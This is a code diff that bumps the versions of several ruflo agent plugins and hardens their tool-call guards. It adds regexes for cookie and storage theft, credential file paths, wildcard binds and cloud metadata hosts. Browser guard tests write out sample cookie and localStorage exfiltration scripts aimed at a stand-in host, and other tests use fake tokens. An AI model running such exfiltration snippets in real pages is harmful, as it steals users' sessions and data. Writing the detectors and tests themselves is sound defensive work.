diff --git a/plugins/ruflo-adr/.claude-plugin/plugin.json b/plugins/ruflo-adr/.claude-plugin/plugin.json index f4883e17d4..7a6da56a43 100644 --- a/plugins/ruflo-adr/.claude-plugin/plugin.json +++ b/plugins/ruflo-adr/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-adr", "description": "ADR lifecycle management — create, index, reconcile, supersede, check compliance, and link Architecture Decision Records to code via AgentDB hierarchical store + causal edges (supersedes/amends/depends-on/related)", - "version": "0.5.0", + "version": "0.5.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-adr/hooks/guard.ts b/plugins/ruflo-adr/hooks/guard.ts index f37d628a02..26e745789d 100644 --- a/plugins/ruflo-adr/hooks/guard.ts +++ b/plugins/ruflo-adr/hooks/guard.ts @@ -24,11 +24,26 @@ const namespaceOf = (input: unknown): string => { return typeof ns === 'string' ? ns : '' } -/** True for the tool calls this plugin guards: ADR writes (`agentdb_hierarchical-store`, `agentdb_causal-edge`, `memory_store` into an `adr*` namespace). */ +/** An ADR entry id as the plugin's skills write it: `mem:ADR-0007`, `ADR-0007`. */ +const ADR_ID = /^(?:mem:)?ADR-/i + +const field = (input: unknown, key: string): string => { + const v = (input as Record | null)?.[key] + return typeof v === 'string' ? v : '' +} + +/** + * True for the tool calls this plugin guards: ADR writes. `memory_store` into an `adr*` namespace; `agentdb_hierarchical-store` (which has no namespace + * field, so the entry is told apart by its `mem:ADR-NNN` key) and `agentdb_causal-edge` (by its `mem:ADR-NNN` ends), as the adr-create skill calls them. + */ export function owns(tool: string, input: unknown): boolean { const parts = splitName(tool) const name = parts?.tool ?? tool - return (name === 'agentdb_hierarchical-store' || name === 'agentdb_causal-edge' || name === 'memory_store') && /adr/i.test(namespaceOf(input)) + const adrNamespace = /adr/i.test(namespaceOf(input)) + if (name === 'memory_store') return adrNamespace + if (name === 'agentdb_hierarchical-store') return adrNamespace || ADR_ID.test(field(input, 'key')) + if (name === 'agentdb_causal-edge') return adrNamespace || ADR_ID.test(field(input, 'sourceId')) || ADR_ID.test(field(input, 'targetId')) + return false } /** The reason a call is refused, or undefined when it may go. Never names or echoes the secret. */ diff --git a/plugins/ruflo-adr/scripts/smoke.sh b/plugins/ruflo-adr/scripts/smoke.sh index 8d5d712a18..7608da7b89 100755 --- a/plugins/ruflo-adr/scripts/smoke.sh +++ b/plugins/ruflo-adr/scripts/smoke.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Structural smoke test for ruflo-adr v0.5.0 (ADR-0001, ADR-0002). +# Structural smoke test for ruflo-adr v0.5.1 (ADR-0001, ADR-0002). set -u ROOT="$(cd "$(dirname "$0")/.." && pwd)" PASS=0 @@ -9,10 +9,10 @@ ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } # 1. plugin.json bump + new keywords -step "1. plugin.json declares 0.5.0 with new keywords" +step "1. plugin.json declares 0.5.1 with new keywords" v=$(grep -E '"version"' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.5.0" ]]; then - bad "expected 0.5.0, got '$v'" +if [[ "$v" != "0.5.1" ]]; then + bad "expected 0.5.1, got '$v'" else miss="" for k in lifecycle compliance causal-graph mcp; do diff --git a/plugins/ruflo-adr/tests/mod.test.ts b/plugins/ruflo-adr/tests/mod.test.ts index 3d93dcbcdc..703b958331 100644 --- a/plugins/ruflo-adr/tests/mod.test.ts +++ b/plugins/ruflo-adr/tests/mod.test.ts @@ -85,3 +85,29 @@ describe('/adr-mod', () => { expect((await $.command.run(slash(''))).text).toContain('/adr-mod status') }) }) + +describe('guard: the writes the adr-create skill really makes', () => { + const P = 'mcp__plugin_ruflo-core_ruflo__' + const text = async (p: Promise) => JSON.stringify(await p.then(r => r, (e: unknown) => ({ text: String(e) }))) + + test('hierarchical-store has no namespace field: the mem:ADR key marks the entry, and a secret in it is refused', async ($, on) => { + const w = world(on) + on('tool.call', () => ({ result: 'went through' })) + await $.session.start(START) + const denied = await text($.tool.call(({ tool: `${P}agentdb_hierarchical-store`, key: 'mem:ADR-0007', tier: 'semantic', value: JSON.stringify({ note: ghp }) }) as never)) + expect(denied).toContain('secret') + expect(denied).not.toContain('ghp_') + expect(await text($.tool.call(({ tool: `${P}agentdb_hierarchical-store`, key: 'mem:ADR-0007', tier: 'semantic', value: '{"title":"Use HNSW"}' }) as never))).toContain('went through') + expect(await text($.tool.call(({ tool: `${P}agentdb_hierarchical-store`, key: 'scratch', tier: 'working', value: ghp }) as never))).toContain('went through') + expect(status(w.files)).toMatchObject({ blocked: 1 }) + }) + + test('a causal edge between mem:ADR ids is screened', async ($, on) => { + world(on) + on('tool.call', () => ({ result: 'went through' })) + await $.session.start(START) + expect(await text($.tool.call(({ tool: `${P}agentdb_causal-edge`, sourceId: 'mem:ADR-0002', targetId: 'mem:ADR-0001', relation: ghp }) as never))).toContain('secret') + expect(await text($.tool.call(({ tool: `${P}agentdb_causal-edge`, sourceId: 'mem:ADR-0002', targetId: 'mem:ADR-0001', relation: 'depends-on' }) as never))).toContain('went through') + expect(await text($.tool.call(({ tool: `${P}agentdb_causal-edge`, sourceId: 'a', targetId: 'b', relation: ghp }) as never))).toContain('went through') + }) +}) diff --git a/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json b/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json index cd246e8070..73ff0563e9 100644 --- a/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json +++ b/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-bbs-federation", "description": "AgentBBS cross-host agent federation for ruflo (ADR-164). Phase 1 exposes room coordination — federation_bbs_register / federation_bbs_publish / federation_bbs_watch / federation_bbs_human_join. Phase 2 (v3.40.0) adds signed cross-host federation — federation_bbs_identity (persistent Ed25519 node identity), federation_bbs_peer_add (pin a peer by nodeId + public key), federation_bbs_peers (audit/unpin), federation_bbs_serve (read-only pull endpoint), and federation_bbs_sync (pull pinned peers and union-merge what verifies). Every merged envelope is Ed25519-verified against a pinned key; unsigned/misattributed/oversize/over-hop envelopes are dropped and counted. Transport is HTTP pull and works on any network (Tailscale, LAN, VPN, loopback) — no tailnet required. Coordinates work ownership via claim messages (ClaimIssued/Released/Handoff/Ack). agentbbs lives in optionalDependencies; every handler gracefully degrades to {degraded:true} when the package is missing (ADR-150 pattern). As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", - "version": "0.3.0", + "version": "0.3.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-bbs-federation/hooks/guard.ts b/plugins/ruflo-bbs-federation/hooks/guard.ts index e615f89aff..e748d29b21 100644 --- a/plugins/ruflo-bbs-federation/hooks/guard.ts +++ b/plugins/ruflo-bbs-federation/hooks/guard.ts @@ -4,7 +4,14 @@ import { hasCredentialField, hasSecret, splitName, textsOf } from './screen' export type Verdict = { readonly rule: string; readonly reason: string } const PUBLISHERS = new Set(['federation_bbs_publish', 'federation_bbs_human_join']) -const WILDCARD = new Set(['0.0.0.0', '::', '[::]', '*', '0', '']) +const WILDCARD = new Set(['*', '']) +// Every spelling of "all interfaces": 0, 0.0, 0.0.0.0, 00.0.0.0, 0x0.0.0.0, ::, ::0, [::], 0:0:0:0:0:0:0:0, 0000:...:0000. +const ZERO_V4 = /^(?:0x0*|0+)(?:\.(?:0x0*|0+)){0,3}$/i +const ZERO_V6 = /^\[?[0:]*:[0:]*\]?$/ +const isWildcard = (host: string): boolean => { + const h = host.trim() + return WILDCARD.has(h) || ZERO_V4.test(h) || ZERO_V6.test(h) +} /** Why a peer URL is refused (credentials in it, or not http/https), or undefined. Never echoes the URL. */ export function badPeerUrl(url: string): string | undefined { @@ -37,7 +44,7 @@ export function verdict(tool: string, input: unknown, opts: ModOptions): Verdict const why = badPeerUrl(args.url) if (why !== undefined) return refuse('peer url', `the peer url ${why}.`) } - if (parts.tool === 'federation_bbs_serve' && typeof args.bindHost === 'string' && !opts.allowWildcardBind && WILDCARD.has(args.bindHost.trim())) { + if (parts.tool === 'federation_bbs_serve' && typeof args.bindHost === 'string' && !opts.allowWildcardBind && isWildcard(args.bindHost)) { return refuse('wildcard bind', 'serve would listen on every interface. Bind one routable (tailnet or LAN) address, or enable allowWildcardBind.') } return 'pass' diff --git a/plugins/ruflo-bbs-federation/scripts/smoke.sh b/plugins/ruflo-bbs-federation/scripts/smoke.sh index b05517fdd1..31b44b21f6 100755 --- a/plugins/ruflo-bbs-federation/scripts/smoke.sh +++ b/plugins/ruflo-bbs-federation/scripts/smoke.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Structural smoke test for ruflo-bbs-federation v0.3.0: the plugin manifest and the mod (ADR-445 pattern). +# Structural smoke test for ruflo-bbs-federation v0.3.1: the plugin manifest and the mod (ADR-445 pattern). set -u ROOT="$(cd "$(dirname "$0")/.." && pwd)" PASS=0 @@ -8,10 +8,10 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares version 0.3.0 and the mod keywords" +step "1. plugin.json declares version 0.3.1 and the mod keywords" v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.3.0" ]]; then - bad "expected 0.3.0, got '$v'" +if [[ "$v" != "0.3.1" ]]; then + bad "expected 0.3.1, got '$v'" else miss="" for k in mod function-hooks guard; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k"; done diff --git a/plugins/ruflo-bbs-federation/tests/register.test.ts b/plugins/ruflo-bbs-federation/tests/register.test.ts index 0536fcdc2d..1e0142c0b8 100644 --- a/plugins/ruflo-bbs-federation/tests/register.test.ts +++ b/plugins/ruflo-bbs-federation/tests/register.test.ts @@ -102,3 +102,13 @@ describe('status file and command', () => { expect((await $.command.run(slash('what is this'))).text).toContain('/bbs-mod status') }) }) + +describe('guard: every spelling of all interfaces', () => { + test('0, 0.0, 00.0.0.0, 0x0.0.0.0, ::0 and the long IPv6 zero form are wildcards; ::1 and a tailnet address are not', async ($, on) => { + world(on) + await $.session.start(START) + const serve = (bindHost: string) => attempt($.tool.call({ tool: T('serve'), bindHost, port: 7777 } as never)) + for (const h of ['0', '0.0', '00.0.0.0', '0x0.0.0.0', '::0', '0:0:0:0:0:0:0:0', '0000:0000:0000:0000:0000:0000:0000:0000', '[::]']) expect(await serve(h)).toContain('every interface') + for (const h of ['::1', '127.0.0.1', '100.64.0.1', '10.0.0.0']) expect(await serve(h)).toContain('stored') + }) +}) diff --git a/plugins/ruflo-browser/.claude-plugin/plugin.json b/plugins/ruflo-browser/.claude-plugin/plugin.json index 0aa11c5a78..9b47172186 100644 --- a/plugins/ruflo-browser/.claude-plugin/plugin.json +++ b/plugins/ruflo-browser/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-browser", "description": "Session-as-skill browser automation: Playwright + RVF cognitive containers + ruvector trajectories + AgentDB selector memory + AIDefence PII/injection gates As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", - "version": "0.3.0", + "version": "0.3.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-browser/hooks/guard.ts b/plugins/ruflo-browser/hooks/guard.ts index 81f7cd5bc9..c10876e76e 100644 --- a/plugins/ruflo-browser/hooks/guard.ts +++ b/plugins/ruflo-browser/hooks/guard.ts @@ -4,9 +4,9 @@ import { splitName } from './screen' export type Verdict = { readonly rule: string; readonly reason: string } // What reads a page's cookies or storage, and what can carry them off the page. Both in one script is exfiltration. -const READS = /document\s*\.\s*cookie|\b(?:local|session)Storage\b|\bindexedDB\b|cookieStore/ -const SINKS = /\b(?:fetch|XMLHttpRequest|sendBeacon|WebSocket|EventSource|importScripts)\b|new\s+Image\b|\.src\s*=|\blocation(?:\s*\.\s*(?:href|assign|replace))?\s*[=(]|window\s*\.\s*open\b/ -const METADATA = new Set(['169.254.169.254', 'metadata.google.internal', '[fd00:ec2::254]', 'metadata.azure.com']) +const READS = /document\s*(?:\.\s*cookie|\[\s*['"`]cookie['"`]\s*\])|\b(?:local|session)Storage\b|\bindexedDB\b|cookieStore/ +const SINKS = /\b(?:fetch|XMLHttpRequest|sendBeacon|WebSocket|EventSource|importScripts)\b|new\s+Image\b|\.src\s*=(?!=)|\blocation(?:\s*\.\s*(?:href|assign|replace))?\s*(?:=(?!=)|\()|window\s*\.\s*open\b/ +const METADATA = new Set(['169.254.169.254', 'metadata.google.internal', '[fd00:ec2::254]', 'metadata.azure.com', '100.100.100.200']) const LOCAL = new Set(['localhost', '127.0.0.1', '[::1]']) const BAD_FLAGS = /^--(?:disable-web-security|remote-debugging-(?:port|address|pipe)|load-extension|disable-site-isolation-trials)\b/ @@ -23,7 +23,7 @@ export function badUrl(url: string, strict: boolean): string | undefined { } if (u.protocol !== 'http:' && u.protocol !== 'https:') return u.href === 'about:blank' ? undefined : 'uses a scheme other than http or https (file, javascript, data and chrome pages are refused)' if (u.username !== '' || u.password !== '') return 'carries credentials in the URL' - if (METADATA.has(u.hostname.toLowerCase())) return 'points at a cloud metadata service' + if (METADATA.has(u.hostname.toLowerCase().replace(/\.$/, ''))) return 'points at a cloud metadata service' if (strict && u.protocol === 'http:' && !LOCAL.has(u.hostname.toLowerCase())) return 'is plain http outside localhost' return undefined } diff --git a/plugins/ruflo-browser/scripts/smoke.sh b/plugins/ruflo-browser/scripts/smoke.sh index cd267cb431..7d47b7538d 100755 --- a/plugins/ruflo-browser/scripts/smoke.sh +++ b/plugins/ruflo-browser/scripts/smoke.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Structural smoke test for ruflo-browser plugin v0.3.0. +# Structural smoke test for ruflo-browser plugin v0.3.1. # Verifies the file inventory, frontmatter, ADR cross-references, and # AgentDB-namespace coverage that ADR-0001 contracts. Does NOT exercise # the live MCP browser tools — the full Verification §1-§7 contract @@ -15,10 +15,10 @@ ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } # 1. plugin.json version + keywords -step "plugin.json declares version 0.3.0 with new keywords" +step "plugin.json declares version 0.3.1 with new keywords" v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.3.0" ]]; then - bad "expected 0.3.0, got '$v'" +if [[ "$v" != "0.3.1" ]]; then + bad "expected 0.3.1, got '$v'" else missing="" for kw in rvf replay trajectory agentdb aidefence; do diff --git a/plugins/ruflo-browser/tests/register.test.ts b/plugins/ruflo-browser/tests/register.test.ts index aac52f03f0..97dae161c9 100644 --- a/plugins/ruflo-browser/tests/register.test.ts +++ b/plugins/ruflo-browser/tests/register.test.ts @@ -105,3 +105,16 @@ describe('status file and command', () => { expect((await $.command.run(slash(''))).text).toContain('/browser-mod status') }) }) + +describe('guard: heuristics that misfired', () => { + test('a comparison is not a navigation; a bracketed cookie read and a trailing-dot metadata host are caught', async ($, on) => { + world(on) + await $.session.start(START) + const ev = (script: string) => attempt($.tool.call({ tool: T('eval'), script } as never)) + expect(await ev("return location.href === 'https://a.test/' && localStorage.length")).toContain('stored') + expect(await ev("return img.src == 'a.png' && localStorage.length")).toContain('stored') + expect(await ev("fetch('https://e.test/?c=' + document['cookie'])")).toContain('cookies or storage') + expect(await ev("location.href = 'https://e.test/?c=' + localStorage.getItem('t')")).toContain('cookies or storage') + expect(await attempt($.tool.call({ tool: T('open'), url: 'http://metadata.google.internal./computeMetadata/v1/' } as never))).toContain('metadata') + }) +}) diff --git a/plugins/ruflo-business-pods/.claude-plugin/plugin.json b/plugins/ruflo-business-pods/.claude-plugin/plugin.json index f0ce1c1d8a..3fd2830a77 100644 --- a/plugins/ruflo-business-pods/.claude-plugin/plugin.json +++ b/plugins/ruflo-business-pods/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-business-pods", "description": "ADR-164 Phase 2 — business-domain pod templates for the federated business autopilot. Ships the sales pod template (templates/sales.json) and a single-tick runner (scripts/pod-tick.mjs) that pre-flights templates via business_pod_validate, reserves budget through a file-based stub ledger (atomic SQLite tracker is Phase 3 per ADR-164.1), resolves each agent role against ruflo's agent registry, constructs dry-run prompts, and posts an envelope summary to the room via federation_bbs_publish. Dry-run by default — --live is reserved for Phase 3 Managed-Agent + claude-p wiring. As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", - "version": "0.2.0", + "version": "0.2.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-business-pods/hooks/guard.ts b/plugins/ruflo-business-pods/hooks/guard.ts index dcb8d8456a..1e8c4589be 100644 --- a/plugins/ruflo-business-pods/hooks/guard.ts +++ b/plugins/ruflo-business-pods/hooks/guard.ts @@ -5,7 +5,7 @@ export type Verdict = { readonly rule: string; readonly reason: string } const OWN = new Set(['business_pod_validate', 'business_pod_route_backend']) // Where credentials live: a pod template path has no business pointing at any of these. -const SENSITIVE = /(?:^|[\\/])(?:\.env[^\\/]*|\.ssh|\.aws|\.gnupg|\.netrc|\.npmrc|id_(?:rsa|ed25519|ecdsa)|credentials(?:\.json)?|passwd|shadow)(?:$|[\\/])/i +const SENSITIVE = /(?:^|[\\/])(?:\.env(?:\.[^\\/]*)?|\.ssh|\.aws|\.gnupg|\.netrc|\.npmrc|id_(?:rsa|ed25519|ecdsa)|credentials(?:\.json)?|passwd|shadow)(?:$|[\\/])/i /** Why a template path is refused (traversal, not .json, a credential location), or undefined. Never echoes the path. */ export function badTemplatePath(path: string): string | undefined { diff --git a/plugins/ruflo-business-pods/scripts/smoke.sh b/plugins/ruflo-business-pods/scripts/smoke.sh index a865dc1a53..fb69244203 100755 --- a/plugins/ruflo-business-pods/scripts/smoke.sh +++ b/plugins/ruflo-business-pods/scripts/smoke.sh @@ -1,8 +1,8 @@ #!/usr/bin/env bash -# Structural + functional smoke test for ruflo-business-pods v0.2.0 +# Structural + functional smoke test for ruflo-business-pods v0.2.1 # (ADR-164 Phase 2). Verifies: # -# 1. plugin.json declares 0.2.0 with the expected adr-164/phase-2 keywords +# 1. plugin.json declares 0.2.1 with the expected adr-164/phase-2 keywords # 2. templates/sales.json exists and validates against the pod-schema # 3. scripts/pod-tick.mjs exists, parses, and is executable # 4. Vitest suite passes (cli/__tests__/business-pod-tools.test.ts) @@ -23,10 +23,10 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares 0.2.0 with adr-164 + phase-2 keywords" +step "1. plugin.json declares 0.2.1 with adr-164 + phase-2 keywords" v=$(grep -E '"version"' "$PLUGIN/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.2.0" ]]; then - bad "expected 0.2.0, got '$v'" +if [[ "$v" != "0.2.1" ]]; then + bad "expected 0.2.1, got '$v'" else miss="" for k in ruflo pods business sales adr-164 adr-164.1 phase-2 pod-template pod-tick budget-reservation dry-run-default agent-registry-resolution; do diff --git a/plugins/ruflo-business-pods/tests/register.test.ts b/plugins/ruflo-business-pods/tests/register.test.ts index 49aac8c3a7..04ff2fa764 100644 --- a/plugins/ruflo-business-pods/tests/register.test.ts +++ b/plugins/ruflo-business-pods/tests/register.test.ts @@ -87,3 +87,14 @@ describe('status file and command', () => { expect((await $.command.run(slash('huh'))).text).toContain('/pods-mod status') }) }) + +describe('guard: credential locations are whole path segments', () => { + test('.env and .env.json are refused; a .environments directory is not', async ($, on) => { + world(on) + await $.session.start(START) + const route = (podTemplatePath: string) => attempt($.tool.call({ tool: T('route_backend'), podTemplatePath } as never)) + expect(await route('pods/.env.json')).toContain('credentials') + expect(await route('pods/.env/pod.json')).toContain('credentials') + expect(await route('pods/.environments/pod.json')).toContain('stored') + }) +}) diff --git a/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json b/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json index e4ec94f669..66645d3af2 100644 --- a/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json +++ b/plugins/ruflo-chatgpt-federation/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-chatgpt-federation", "description": "Dedicated ChatGPT Federation MCP publisher with isolated Nostr signing-key custody, OAuth-scoped publishing, and signed public-channel coordination over the Ruflo relay. As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", - "version": "0.2.0", + "version": "0.2.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-chatgpt-federation/hooks/guard.ts b/plugins/ruflo-chatgpt-federation/hooks/guard.ts index c00e25f4ae..420c443622 100644 --- a/plugins/ruflo-chatgpt-federation/hooks/guard.ts +++ b/plugins/ruflo-chatgpt-federation/hooks/guard.ts @@ -18,7 +18,7 @@ const refuse = (rule: string, reason: string): Verdict => ({ rule, reason: `rufl const bytes = (v: unknown): number => { try { - return JSON.stringify(v)?.length ?? 0 + return new TextEncoder().encode(JSON.stringify(v) ?? '').length } catch { return Number.POSITIVE_INFINITY } diff --git a/plugins/ruflo-chatgpt-federation/scripts/smoke.sh b/plugins/ruflo-chatgpt-federation/scripts/smoke.sh index 2a2b383f2f..70de9b766a 100755 --- a/plugins/ruflo-chatgpt-federation/scripts/smoke.sh +++ b/plugins/ruflo-chatgpt-federation/scripts/smoke.sh @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Structural smoke test for ruflo-chatgpt-federation v0.2.0: the plugin manifest and the mod (ADR-445 pattern). +# Structural smoke test for ruflo-chatgpt-federation v0.2.1: the plugin manifest and the mod (ADR-445 pattern). set -u ROOT="$(cd "$(dirname "$0")/.." && pwd)" PASS=0 @@ -8,10 +8,10 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares version 0.2.0 and the mod keywords" +step "1. plugin.json declares version 0.2.1 and the mod keywords" v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.2.0" ]]; then - bad "expected 0.2.0, got '$v'" +if [[ "$v" != "0.2.1" ]]; then + bad "expected 0.2.1, got '$v'" else miss="" for k in mod function-hooks guard; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k"; done diff --git a/plugins/ruflo-chatgpt-federation/tests/register.test.ts b/plugins/ruflo-chatgpt-federation/tests/register.test.ts index 275c62c644..dc8192188a 100644 --- a/plugins/ruflo-chatgpt-federation/tests/register.test.ts +++ b/plugins/ruflo-chatgpt-federation/tests/register.test.ts @@ -99,3 +99,12 @@ describe('status file and command', () => { expect((await $.command.run(slash(''))).text).toContain('/chatgpt-mod status') }) }) + +describe('guard: the cap is in bytes', () => { + test('3000 CJK characters are 9000 UTF-8 bytes and over the 8192 cap; 3000 ASCII characters are not', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call(publish({ payload: { blob: '漢'.repeat(3000) } })))).toContain('8192-byte cap') + expect(await attempt($.tool.call(publish({ payload: { blob: 'x'.repeat(3000) } })))).toContain('stored') + }) +}) diff --git a/plugins/ruflo-ddd/.claude-plugin/plugin.json b/plugins/ruflo-ddd/.claude-plugin/plugin.json index 771f5e6ddc..235a7aa761 100644 --- a/plugins/ruflo-ddd/.claude-plugin/plugin.json +++ b/plugins/ruflo-ddd/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-ddd", "description": "Domain-Driven Design scaffolding — bounded contexts, aggregate roots, domain events, value objects, repositories, and anti-corruption layers; navigable domain graph stored in AgentDB", - "version": "0.3.0", + "version": "0.3.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-ddd/hooks/guard.ts b/plugins/ruflo-ddd/hooks/guard.ts index 7e47fa9f4e..f74ddaf5d9 100644 --- a/plugins/ruflo-ddd/hooks/guard.ts +++ b/plugins/ruflo-ddd/hooks/guard.ts @@ -4,9 +4,9 @@ import { hasSecret, textsOf } from './screen' const tail = (name: string) => (name.startsWith('mcp__') ? name.slice(name.lastIndexOf('__') + 2) : name) const WRITERS = new Set(['memory_store', 'agentdb_hierarchical-store']) -const DOMAIN = /^ddd-|^(?:context|aggregate):/ +const DOMAIN = /^(?:ddd|domain)-|^(?:context|aggregate):/ -/** The DDD skills' own entries: a key named ddd-*, or a hierarchy edge whose ends are context:* or aggregate:*. */ +/** The DDD skills' own entries: a key named ddd-* or domain-*, or a hierarchy edge whose ends are context:* or aggregate:*. */ function isDomainWrite(input: unknown): boolean { const o = (typeof input === 'object' && input !== null ? input : {}) as Record return ['key', 'parent', 'child'].some(k => typeof o[k] === 'string' && DOMAIN.test(o[k] as string)) diff --git a/plugins/ruflo-ddd/scripts/smoke.sh b/plugins/ruflo-ddd/scripts/smoke.sh index a6eac01fe8..fef589268f 100755 --- a/plugins/ruflo-ddd/scripts/smoke.sh +++ b/plugins/ruflo-ddd/scripts/smoke.sh @@ -7,9 +7,9 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares 0.3.0 with new keywords" +step "1. plugin.json declares 0.3.1 with new keywords" v=$(grep -E '"version"' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.3.0" ]]; then bad "expected 0.3.0, got '$v'"; else +if [[ "$v" != "0.3.1" ]]; then bad "expected 0.3.1, got '$v'"; else miss="" for k in acl value-objects repositories mcp; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k" diff --git a/plugins/ruflo-ddd/tests/mod.test.ts b/plugins/ruflo-ddd/tests/mod.test.ts index 2145e1e92b..28ee012792 100644 --- a/plugins/ruflo-ddd/tests/mod.test.ts +++ b/plugins/ruflo-ddd/tests/mod.test.ts @@ -121,3 +121,16 @@ describe('/ddd-mod', () => { expect((await $.command.run(slash('contexts'))).text).toContain('No bounded context found') }) }) + +describe('guard: the keys the ddd skills write', () => { + test('a domain- model entry is screened like ddd-*', async ($, on) => { + world(on) + on('tool.call', () => ({ result: 'went through' })) + await $.session.start(START) + const SECRET = `ghp_${'a1B2'.repeat(10)}` + const store = (key: string, value: string) => call({ tool: 'mcp__plugin_ruflo-core_ruflo__memory_store', key, namespace: 'tasks', value }) + expect(denied(await $.tool.call(store('domain-billing', `token ${SECRET}`)).then(r => r, (e: unknown) => String(e)))).toContain('secret') + expect(denied(await $.tool.call(store('domain-billing', 'Contexts: billing, shipping')))).toContain('went through') + expect(denied(await $.tool.call(store('domainless', `token ${SECRET}`)))).toContain('went through') + }) +}) diff --git a/plugins/ruflo-deepseek-harness/.claude-plugin/plugin.json b/plugins/ruflo-deepseek-harness/.claude-plugin/plugin.json index f439eb2566..cf9d917808 100644 --- a/plugins/ruflo-deepseek-harness/.claude-plugin/plugin.json +++ b/plugins/ruflo-deepseek-harness/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-deepseek-harness", "description": "DeepSeek model harness for ruflo — agents, commands, scripts, and skills for running and evaluating DeepSeek-backed workflows within the ruflo swarm.", - "version": "0.2.0", + "version": "0.2.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-deepseek-harness/hooks/guard.ts b/plugins/ruflo-deepseek-harness/hooks/guard.ts index 6717a8076e..3308b2dfea 100644 --- a/plugins/ruflo-deepseek-harness/hooks/guard.ts +++ b/plugins/ruflo-deepseek-harness/hooks/guard.ts @@ -1,7 +1,7 @@ import { hasSecret } from './screen' -/** A shell command that runs this plugin's scripts: they post the prompt to api.deepseek.com, a third party. */ -const RUNS_HARNESS = /ruflo-deepseek-harness\/scripts\/(?:chat|reason|_deepseek)\.mjs/ +/** A shell command that runs this plugin's scripts (from the repo, or from an installed copy under a version directory): they post the prompt to api.deepseek.com, a third party. */ +const RUNS_HARNESS = /ruflo-deepseek-harness\/(?:[\w.@-]+\/)*scripts\/(?:chat|reason|_deepseek)\.mjs/ /** The reason a DeepSeek call is refused, or undefined when it may go. Never names or echoes the secret. */ export function verdict(tool: string, input: unknown): string | undefined { diff --git a/plugins/ruflo-deepseek-harness/scripts/smoke.sh b/plugins/ruflo-deepseek-harness/scripts/smoke.sh index 2af73192bb..89dc0697ad 100755 --- a/plugins/ruflo-deepseek-harness/scripts/smoke.sh +++ b/plugins/ruflo-deepseek-harness/scripts/smoke.sh @@ -9,8 +9,8 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares version 0.2.0" -grep -q '"version": "0.2.0"' "$ROOT/.claude-plugin/plugin.json" && ok || bad "version is not 0.2.0" +step "1. plugin.json declares version 0.2.1" +grep -q '"version": "0.2.1"' "$ROOT/.claude-plugin/plugin.json" && ok || bad 